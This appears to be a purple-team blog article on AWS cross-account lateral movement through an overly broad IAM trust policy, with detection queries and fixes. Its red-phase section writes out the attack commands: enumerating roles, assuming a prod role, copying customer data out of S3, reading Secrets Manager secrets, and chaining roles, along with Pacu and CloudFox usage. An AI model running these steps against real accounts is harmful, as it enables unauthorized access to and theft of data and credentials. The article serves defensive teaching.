  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-capital-one-breach/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <a href="/supply-chain-attack-solarwinds-xz-utils/">Supply chain attacks</a> → <strong>Cloud Lateral Movement</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid <code class="" data-line="">sts:AssumeRole</code> call</li>
<li>The structural vulnerability is a trust policy scoped too broadly — <code class="" data-line="">arn:aws:iam::DEV_ACCOUNT:root</code> instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role</li>
<li>The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → <code class="" data-line="">aws sts assume-role</code> into prod → access data lake S3 bucket → exfiltrate before detection fires</li>
<li>CloudTrail is the primary detection surface: <code class="" data-line="">AssumeRole</code> events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as <code class="" data-line="">Recon:IAMUser/UserPermissions</code></li>
<li>AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account</li>
<li>The structural fix is three layers: scope trust policy to the specific source ARN, add <code class="" data-line="">ExternalId</code> for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Cloud lateral movement IAM</strong> attacks succeed because the authentication step — the <code class="" data-line="">sts:AssumeRole</code> call — works exactly as designed. The Lambda&#8217;s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.</p>
<hr />
<h2 id="the-incident-dev-lambda-to-prod-data-lake">The Incident: Dev Lambda to Prod Data Lake</h2>
<p>Post-breach analysis. The attacker didn&#8217;t find a zero-day. They found a GitHub repository.</p>
<p>A developer had committed an <code class="" data-line="">.env</code> file to a public repo containing <code class="" data-line="">AWS_ACCESS_KEY_ID</code> and <code class="" data-line="">AWS_SECRET_ACCESS_KEY</code> for a Lambda execution role in the dev account. GitHub&#8217;s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.</p>
<p>That 58-minute window is the entire story.</p>
<p>The Lambda&#8217;s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn&#8217;t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the <code class="" data-line="">datalake-reader</code> role in prod read:</p>
<pre><code class="" data-line="">&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;}
</code></pre>
<p>Not the Lambda&#8217;s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume <code class="" data-line="">datalake-reader</code> in prod.</p>
<p>The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.</p>
<p>The revelation: <strong>cloud lateral movement doesn&#8217;t require network pivoting. It requires finding one IAM trust relationship that&#8217;s too broad.</strong></p>
<p>The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.</p>
<hr />
<h2 id="red-phase-the-cross-account-attack-chain">Red Phase: The Cross-Account Attack Chain</h2>
<h3 id="step-1-enumerate-trust-policies-from-a-compromised-role">Step 1: Enumerate Trust Policies from a Compromised Role</h3>
<p>An attacker&#8217;s first move inside a cloud environment is always the same: establish who they are and what they can reach.</p>
<pre><code class="" data-line="">aws sts get-caller-identity
# Returns:
# {
#   &quot;UserId&quot;: &quot;AROAIOSFODNN7EXAMPLE:function-name&quot;,
#   &quot;Account&quot;: &quot;111111111111&quot;,
#   &quot;Arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query &#039;Roles[*].[RoleName,AssumeRolePolicyDocument]&#039; \
  --output json | \
  jq &#039;.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }&#039;
</code></pre>
<pre><code class="" data-line=""># More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account &quot;111111111111&quot; \
  &#039;.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // &quot;check-parent&quot;, principal: .Principal}&#039;
</code></pre>
<pre><code class="" data-line=""># Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query &#039;EvaluationResults[0].EvalDecision&#039; \
  --output text
# Returns: allowed
</code></pre>
<h3 id="step-2-assume-the-cross-account-role">Step 2: Assume the Cross-Account Role</h3>
<pre><code class="" data-line=""># Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;recon-$(date +%s)&quot; \
  --query &#039;Credentials&#039;
# Returns:
# {
#   &quot;AccessKeyId&quot;: &quot;ASIAIOSFODNN7EXAMPLE&quot;,
#   &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,
#   &quot;SessionToken&quot;: &quot;IQoJb3JpZ2luX2...(truncated)&quot;,
#   &quot;Expiration&quot;: &quot;2024-01-15T14:32:00Z&quot;
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID=&quot;ASIAIOSFODNN7EXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;
export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2...&quot;

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   &quot;Account&quot;: &quot;222222222222&quot;,  ← prod account
#   &quot;Arn&quot;: &quot;arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920&quot;
# }
</code></pre>
<h3 id="step-3-enumerate-and-exfiltrate-from-prod">Step 3: Enumerate and Exfiltrate from Prod</h3>
<pre><code class="" data-line=""># What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk &#039;{print $3, $4}&#039; | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query &#039;SecretList[].{Name:Name,LastRotated:LastRotatedDate}&#039; \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query &#039;SecretString&#039; \
  --output text
</code></pre>
<h3 id="step-4-role-chaining-staying-in-the-environment">Step 4: Role Chaining — Staying in the Environment</h3>
<p>Role chaining is assuming one role then using that session to assume another. It extends the attacker&#8217;s reach without returning to the original compromised identity.</p>
<pre><code class="" data-line=""># From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
  jq &#039;.Roles[] | 
    select(.AssumeRolePolicyDocument.Statement[].Principal.AWS? | 
      strings | 
      test(&quot;datalake-reader&quot;)
    ) | .RoleName&#039;

# If the datalake-reader role has sts:AssumeRole permissions itself,
# the chain continues — each hop gets a fresh 1-hour session
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/analytics-admin \
  --role-session-name &quot;second-hop-$(date +%s)&quot;
</code></pre>
<h3 id="tools-attackers-use-for-cloud-lateral-movement-enumeration">Tools Attackers Use for Cloud Lateral Movement Enumeration</h3>
<p><strong>Pacu</strong> (Rhino Security Labs): Modular AWS exploitation framework. The <code class="" data-line="">iam__enum_users_roles_policies_groups</code> and <code class="" data-line="">iam__privesc_scan</code> modules map the full IAM graph and identify assumption paths automatically.</p>
<pre><code class="" data-line=""># Pacu: enumerate IAM and find assumable roles
pacu
&gt; run iam__enum_users_roles_policies_groups
&gt; run iam__privesc_scan
</code></pre>
<p><strong>CloudFox</strong> (Bishop Fox): Designed specifically for finding attack paths in cloud environments. The <code class="" data-line="">assume-role</code> command enumerates all roles the current identity can assume, including cross-account.</p>
<pre><code class="" data-line=""># CloudFox: find all roles assumable from current identity
cloudfox aws -p target-profile assume-role -v2

# CloudFox: find all cross-account trust relationships
cloudfox aws -p target-profile resource-trusts -v2
</code></pre>
<p><strong>aws-recon</strong>: Broad enumeration tool that maps IAM, S3, EC2, RDS, Secrets Manager, and trust relationships across accounts in a single pass.</p>
<hr />
<h2 id="blue-phase-detection">Blue Phase: Detection</h2>
<h3 id="cloudtrail-signal-cross-account-assumerole">CloudTrail Signal: Cross-Account AssumeRole</h3>
<p>Every <code class="" data-line="">sts:AssumeRole</code> call is logged in CloudTrail. Cross-account calls are the specific signal to filter for.</p>
<pre><code class="" data-line=""># Query CloudTrail for cross-account AssumeRole events in the last 24 hours
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time &quot;$(date -d &#039;24 hours ago&#039; --iso-8601=seconds)&quot; \
  --output json | \
  jq &#039;.Events[].CloudTrailEvent | fromjson |
    select(
      .requestParameters.roleArn != null and
      (.userIdentity.accountId != null) and
      (.requestParameters.roleArn | test(.userIdentity.accountId) | not)
    ) |
    {
      time: .eventTime,
      source_identity: .userIdentity.arn,
      source_account: .userIdentity.accountId,
      assumed_role: .requestParameters.roleArn,
      session_name: .requestParameters.roleSessionName,
      source_ip: .sourceIPAddress
    }&#039;
</code></pre>
<p>The CloudTrail event structure for a cross-account assumption looks like this:</p>
<pre><code class="" data-line="">{
  &quot;eventSource&quot;: &quot;sts.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;AssumeRole&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;accountId&quot;: &quot;111111111111&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;roleArn&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
    &quot;roleSessionName&quot;: &quot;recon-1705327920&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;203.0.113.42&quot;,
  &quot;userAgent&quot;: &quot;aws-cli/2.13.0 Python/3.11.0 Linux/5.15.0&quot;
}
</code></pre>
<p>The key fields: <code class="" data-line="">userIdentity.accountId</code> is <code class="" data-line="">111111111111</code> (dev), <code class="" data-line="">requestParameters.roleArn</code> contains <code class="" data-line="">222222222222</code> (prod). Those two account IDs not matching is the cross-account signal.</p>
<p>A fresh compromise indicator: <code class="" data-line="">userAgent</code> showing <code class="" data-line="">aws-cli</code> for a role that normally only calls AWS APIs from Lambda runtime (which uses the Python SDK and shows a different user agent). Lambda functions don&#8217;t call the CLI — if you see <code class="" data-line="">aws-cli</code> user agent on a Lambda role, that&#8217;s a human or automated tool using stolen credentials.</p>
<h3 id="athena-query-cross-account-assumptions-across-the-organization">Athena Query: Cross-Account Assumptions Across the Organization</h3>
<pre><code class="" data-line="">-- Athena against S3-backed CloudTrail logs (org-level trail)
-- Finds all cross-account AssumeRole events in the past 7 days
SELECT
  eventtime,
  useridentity.accountid AS source_account,
  useridentity.arn AS source_identity,
  requestparameters[&#039;roleArn&#039;] AS target_role,
  sourceipaddress,
  useragent,
  -- Flag: session created quickly after identity first seen (fresh compromise)
  CASE
    WHEN DATEDIFF(
      &#039;minute&#039;,
      CAST(eventtime AS timestamp),
      CURRENT_TIMESTAMP
    ) &lt; 300 THEN &#039;RECENT&#039;
    ELSE &#039;AGED&#039;
  END AS session_age
FROM cloudtrail_logs
WHERE
  eventsource = &#039;sts.amazonaws.com&#039;
  AND eventname = &#039;AssumeRole&#039;
  AND errorcode IS NULL
  AND from_iso8601_timestamp(eventtime) &gt; current_timestamp - interval &#039;7&#039; day
  -- Cross-account: source account ID not in the target role ARN
  AND useridentity.accountid NOT IN (
    SELECT DISTINCT
      REGEXP_EXTRACT(requestparameters[&#039;roleArn&#039;], &#039;arn:aws:iam::(\d+):&#039;, 1)
    FROM cloudtrail_logs
    WHERE eventname = &#039;AssumeRole&#039;
  )
ORDER BY eventtime DESC;
</code></pre>
<h3 id="guardduty-findings-for-iam-lateral-movement">GuardDuty Findings for IAM Lateral Movement</h3>
<p>GuardDuty surfaces the following finding types relevant to cross-account lateral movement:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>What It Signals</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Identity enumerating IAM roles, policies, or permissions — consistent with Step 1</td>
</tr>
<tr>
<td><code class="" data-line="">PrivilegeEscalation:IAMUser/AdministrativePermissions</code></td>
<td>API calls attempting to gain admin access</td>
</tr>
<tr>
<td><code class="" data-line="">UnauthorizedAccess:IAMUser/TorIPCaller</code></td>
<td>Assumed role used from Tor exit node</td>
</tr>
<tr>
<td><code class="" data-line="">CredentialAccess:IAMUser/AnomalousBehavior</code></td>
<td>Credential access pattern deviates from baseline</td>
</tr>
<tr>
<td><code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>S3 read volume spike — fires after the exfiltration in Step 3</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Pull active GuardDuty findings scoped to IAM lateral movement indicators
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [
          &quot;Recon:IAMUser/UserPermissions&quot;,
          &quot;PrivilegeEscalation:IAMUser/AdministrativePermissions&quot;,
          &quot;CredentialAccess:IAMUser/AnomalousBehavior&quot;,
          &quot;Exfiltration:S3/ObjectRead.Unusual&quot;
        ]
      },
      &quot;severity&quot;: {
        &quot;GreaterThanOrEqualTo&quot;: 4
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {
    type: .Type,
    severity: .Severity,
    account: .AccountId,
    resource: .Resource.AccessKeyDetails.UserName,
    created: .CreatedAt
  }&#039;
</code></pre>
<h3 id="aws-access-analyzer-automated-trust-policy-audit">AWS Access Analyzer: Automated Trust Policy Audit</h3>
<p>Access Analyzer scans all resource-based policies in the account and flags any that grant access to principals outside the account or organization. It surfaces the vulnerable trust policy before an attacker finds it.</p>
<pre><code class="" data-line=""># List all Access Analyzer findings — these are cross-account or public access grants
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &#039;analyzers[0].arn&#039; --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {
    id: .id,
    resource_type: .resourceType,
    resource: .resource,
    principal: .principal,
    action: .action,
    condition: .condition,
    created: .createdAt
  }&#039;
</code></pre>
<p>An Access Analyzer finding for the vulnerable trust policy looks like:</p>
<pre><code class="" data-line="">{
  &quot;id&quot;: &quot;a1b2c3d4-...&quot;,
  &quot;resourceType&quot;: &quot;AWS::IAM::Role&quot;,
  &quot;resource&quot;: &quot;arn:aws:iam::222222222222:role/datalake-reader&quot;,
  &quot;principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;},
  &quot;action&quot;: [&quot;sts:AssumeRole&quot;],
  &quot;condition&quot;: {},
  &quot;status&quot;: &quot;ACTIVE&quot;
}
</code></pre>
<p>The <code class="" data-line="">arn:aws:iam::111111111111:root</code> principal with no condition block is the flag — the entire dev account, no restrictions.</p>
<hr />
<h2 id="purple-phase-structural-fixes">Purple Phase: Structural Fixes</h2>
<h3 id="fix-1-scope-the-trust-policy-to-the-specific-source-arn">Fix 1: Scope the Trust Policy to the Specific Source ARN</h3>
<p>This is the primary fix. The trust policy should name the exact role that needs access, not the account root.</p>
<pre><code class="" data-line="">// BAD — allows any identity in the dev account to assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;
    }
  ]
}
</code></pre>
<pre><code class="" data-line="">// GOOD — only the specific Lambda execution role can assume this role
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;AWS&quot;: &quot;arn:aws:iam::111111111111:role/api-processor-lambda-execution-role&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;sts:ExternalId&quot;: &quot;prod-datalake-access-v1&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Update an existing trust policy to scope it properly
aws iam update-assume-role-policy \
  --role-name datalake-reader \
  --policy-document file://scoped-trust-policy.json
</code></pre>
<h3 id="fix-2-add-externalid-for-confused-deputy-protection">Fix 2: Add ExternalId for Confused Deputy Protection</h3>
<p><code class="" data-line="">ExternalId</code> is a shared secret between the two parties establishing the cross-account trust. When the source role calls <code class="" data-line="">sts:AssumeRole</code>, it must provide the <code class="" data-line="">ExternalId</code> value, or the assumption is denied.</p>
<p>This protects against the confused deputy problem: an attacker who compromises a role that legitimately trusts your role cannot exploit that trust without also knowing the <code class="" data-line="">ExternalId</code>.</p>
<pre><code class="" data-line=""># Source (dev Lambda) must pass ExternalId when assuming the prod role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;api-processor-job&quot; \
  --external-id &quot;prod-datalake-access-v1&quot;
# If ExternalId is wrong or absent: error — not authorized to assume role
</code></pre>
<p>The limitation: <code class="" data-line="">ExternalId</code> does not help if the source account itself is compromised and the attacker has access to the application code or environment variables that contain the <code class="" data-line="">ExternalId</code> value. It adds friction for opportunistic attackers and covers the confused deputy scenario — it is not a substitute for scoping the principal ARN.</p>
<h3 id="fix-3-organizations-scps-to-restrict-cross-account-assumptions">Fix 3: Organizations SCPs to Restrict Cross-Account Assumptions</h3>
<p>Service Control Policies at the AWS Organizations level can restrict which accounts are allowed to assume roles in which other accounts. This is the enforcement layer that cannot be bypassed by any identity inside a member account.</p>
<pre><code class="" data-line="">// SCP: Only allow cross-account role assumptions between approved account pairs
// Attach to the prod account&#039;s OU
{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;RestrictCrossAccountAssumeRole&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: &quot;sts:AssumeRole&quot;,
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;StringNotEquals&quot;: {
          &quot;aws:PrincipalAccount&quot;: [
            &quot;111111111111&quot;,
            &quot;333333333333&quot;
          ]
        },
        &quot;BoolIfExists&quot;: {
          &quot;aws:PrincipalIsAWSService&quot;: &quot;false&quot;
        }
      }
    }
  ]
}
</code></pre>
<p>This SCP denies any <code class="" data-line="">sts:AssumeRole</code> call that originates from an account not in the approved list. Even if someone adds a new trust policy in prod that allows an arbitrary external account, the SCP blocks the call at the organization level.</p>
<h3 id="fix-4-enable-access-analyzer-organization-wide">Fix 4: Enable Access Analyzer Organization-Wide</h3>
<p>Access Analyzer should run with an organization-level analyzer, not just per-account. The organization analyzer has visibility across all member accounts and flags cross-account trust policies automatically.</p>
<pre><code class="" data-line=""># Create an organization-level analyzer (run from the management account)
aws accessanalyzer create-analyzer \
  --analyzer-name org-wide-access-analyzer \
  --type ORGANIZATION \
  --tags &#039;{&quot;Environment&quot;: &quot;production&quot;, &quot;Team&quot;: &quot;security&quot;}&#039;

# List active findings organization-wide
ANALYZER_ARN=$(aws accessanalyzer list-analyzers \
  --query &quot;analyzers[?type==&#039;ORGANIZATION&#039;].arn | [0]&quot; \
  --output text)

aws accessanalyzer list-findings \
  --analyzer-arn &quot;${ANALYZER_ARN}&quot; \
  --filter &#039;{&quot;resourceType&quot;: {&quot;eq&quot;: [&quot;AWS::IAM::Role&quot;]}, &quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --output json | \
  jq &#039;.findings[] | {resource: .resource, principal: .principal}&#039;
</code></pre>
<h3 id="fix-5-prefer-oidc-workload-identity-over-cross-account-roles">Fix 5: Prefer OIDC Workload Identity Over Cross-Account Roles</h3>
<p>Where the access pattern allows it, replacing the cross-account role with OIDC workload identity eliminates the static trust relationship entirely. A Lambda function with an OIDC identity can authenticate to the prod account by exchanging a token, without any persistent trust policy entry that an attacker could enumerate and exploit.</p>
<p>The <a href="/workload-identity-oidc-service-accounts/">federated identity trust boundaries approach using OIDC workload identity</a> removes the assumable role from the attack surface completely — there is no trust policy to misscope, no role ARN to enumerate, and no <code class="" data-line="">sts:AssumeRole</code> call in CloudTrail to detect because the assumption never happens.</p>
<h3 id="fix-6-enable-guardduty-cross-account-threat-detection-at-org-level">Fix 6: Enable GuardDuty Cross-Account Threat Detection at Org Level</h3>
<p>GuardDuty with multi-account management via AWS Organizations correlates threat signals across accounts. A pattern that looks like routine IAM activity in isolation — role assumption, S3 ListBucket, GetObject — reads as a lateral movement sequence when correlated across dev and prod accounts.</p>
<pre><code class="" data-line=""># Enable GuardDuty for all accounts in the organization (from management account)
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty update-organization-configuration \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --auto-enable \
  --data-sources &#039;{
    &quot;S3Logs&quot;: {&quot;AutoEnable&quot;: true},
    &quot;Kubernetes&quot;: {&quot;AuditLogs&quot;: {&quot;AutoEnable&quot;: true}},
    &quot;MalwareProtection&quot;: {&quot;ScanEc2InstanceWithFindings&quot;: {&quot;AutoEnable&quot;: true}}
  }&#039;
</code></pre>
<hr />
<h2 id="production-gotchas"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Production Gotchas</h2>
<p><strong>ExternalId doesn&#8217;t protect you if the source account is compromised.</strong> The attacker who holds the dev Lambda&#8217;s execution role credentials also has access to the Lambda&#8217;s environment variables and source code — where the <code class="" data-line="">ExternalId</code> value is likely stored. ExternalId is not a secret the attacker can&#8217;t reach; it is a value the legitimate caller passes to prove it initiated the request. Scope the principal ARN first; add ExternalId as a second layer.</p>
<p><strong>Access Analyzer only catches public and cross-account access, not intra-account lateral movement.</strong> If the attacker is already operating inside the same account as the target role, Access Analyzer does not flag the trust relationship. Intra-account over-broad trust policies require IAM policy analysis tooling (Cloudsplaining, Prowler) to surface — Access Analyzer won&#8217;t show them.</p>
<p><strong>Role chaining resets the session clock but the window is still one hour.</strong> <code class="" data-line="">sts:AssumeRole</code> sessions last up to one hour by default. An attacker doing role chaining gets a fresh one-hour window at each hop. Persistent access requires refreshing before expiry — which means repeated <code class="" data-line="">AssumeRole</code> calls in CloudTrail that form a detectable pattern if you&#8217;re querying for it.</p>
<p><strong>S3 exfiltration may not trigger GuardDuty immediately.</strong> GuardDuty&#8217;s <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code> finding uses a behavior baseline. A new attacker session has no baseline — the first data exfiltration may not fire the finding if the volume appears &#8220;normal&#8221; relative to what GuardDuty has seen from that role before. CloudTrail <code class="" data-line="">GetObject</code> events are the reliable signal; don&#8217;t rely on GuardDuty alone for S3 exfiltration detection.</p>
<p><strong><code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> in a trust policy does not mean the root user specifically.</strong> This is a common misread. <code class="" data-line="">arn:aws:iam::123456789012:root</code> means any principal in account <code class="" data-line="">123456789012</code> — IAM users, roles, the root user, and federated identities. It is the account-level wildcard, which is exactly why it&#8217;s dangerous in a cross-account trust policy.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Lateral Movement Technique</th>
<th>CloudTrail Signal</th>
<th>Detection Tool</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cross-account <code class="" data-line="">sts:AssumeRole</code></td>
<td><code class="" data-line="">AssumeRole</code> where source accountId ≠ target accountId in role ARN</td>
<td>CloudTrail + Athena query</td>
<td>Scope Principal to specific role ARN</td>
</tr>
<tr>
<td>Account root as trust principal</td>
<td>Access Analyzer ACTIVE finding on IAM Role</td>
<td>AWS Access Analyzer</td>
<td>Replace <code class="" data-line="">root</code> with specific ARN + ExternalId</td>
</tr>
<tr>
<td>Role chaining across accounts</td>
<td>Multiple sequential <code class="" data-line="">AssumeRole</code> events, each with new session token</td>
<td>CloudTrail session correlation</td>
<td>SCP restricting cross-account assumptions to approved pairs</td>
</tr>
<tr>
<td>Exfiltration via assumed prod role</td>
<td>S3 <code class="" data-line="">GetObject</code>/<code class="" data-line="">ListBucket</code> from assumed-role session in CloudTrail</td>
<td>CloudTrail + GuardDuty <code class="" data-line="">Exfiltration:S3/ObjectRead.Unusual</code></td>
<td>Least-privilege S3 policy on prod role + S3 Access Logs</td>
</tr>
<tr>
<td>IAM enumeration from compromised identity</td>
<td><code class="" data-line="">iam:ListRoles</code>, <code class="" data-line="">iam:GetRole</code>, <code class="" data-line="">iam:SimulatePrincipalPolicy</code></td>
<td>GuardDuty <code class="" data-line="">Recon:IAMUser/UserPermissions</code></td>
<td>Deny <code class="" data-line="">iam:*</code> on Lambda execution roles</td>
</tr>
<tr>
<td>Secrets Manager access via assumed role</td>
<td><code class="" data-line="">secretsmanager:GetSecretValue</code> from unexpected principal</td>
<td>CloudTrail resource policy audit</td>
<td>Attach resource policy to secrets scoping allowed principals</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> chains are not exploits — they are valid API calls that execute because someone wrote a trust policy that was too broad; the fix is always in the trust policy, not in the network</li>
<li>Every cross-account trust policy that uses <code class="" data-line="">arn:aws:iam::ACCOUNT:root</code> as the principal is an open door for any compromised identity in that account — scope it to the specific role ARN before an attacker finds it before you do</li>
<li>CloudTrail <code class="" data-line="">AssumeRole</code> events where the principal&#8217;s account ID doesn&#8217;t match the target role&#8217;s account ID are the detection signal; run the Athena query in your environment this week and look at what comes back</li>
